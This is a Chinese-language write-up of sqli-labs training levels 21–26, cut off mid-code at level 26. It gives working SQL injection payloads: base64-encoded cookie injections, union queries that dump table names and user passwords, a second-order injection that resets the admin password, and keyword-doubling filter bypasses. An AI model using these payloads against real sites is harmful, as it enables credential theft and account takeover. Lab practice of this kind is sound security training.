Less-21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入)
base64编码,单引号,报错型,cookie型注入。
本关和less-20相似,只是cookie的uname值经过base64编码了。
登录后页面:
mV0L3dlaXhpbl80NTY5NDM4OA==,size_16,color_FFFFFF,t_70)
cookie的地方显然是base64加密过的,解码得到:admin,就是刚才登陆的uname,所以猜测:本题在cookie处加密了字符串,
查看php文件确实如此,所以只需要上传paylaod的时候base64加密一下就可以了。
抓包:
%3d为url编码的 = 号
测试payloa:
admin' and 1=1 --+ //明文
YWRtaW4nIGFuZCAxPTEgLS0r //密文
存在报错回显,即注入点
爆数据库:
-admin') union select 1,2,database()# //明文
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw== //密文
剩下和less20 相同
less22(base64编码,双引号,报错型,cookie型注入。)
单引号换双引号
其余操作相同
-admin" union select 1,2,database()#
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
less23(过滤注释)
源码:
可看到源码过滤了注释符:
构造闭合型语句:
爆库:
?id=' union select 1,2,database() '
爆表:
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
爆列名:
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '
爆字段值:
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
less24(二次注入)
注册一个账号名为:admin’#,密码设为admin
登陆选择重置密码
重置密码为:123456
此时执行语句为:
UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
但因为admin’# 的闭合和注释
实际执行为:
UPDATE users SET passwd="New_Pass" WHERE username =' admin'
即通过带有特殊字符的语句在修改密码的语句当中把语句变成了修改目标账号的密码
注入完成
less25Trick with OR & AND (过滤了or和and)
双写绕过:
?id=0' oorr 1=1 --+
?id=2' aandnd 1=1 --+
less 26过滤了注释和空格的注入
查源码:
if(isset($_GET['id']))
{
$id=$_GET[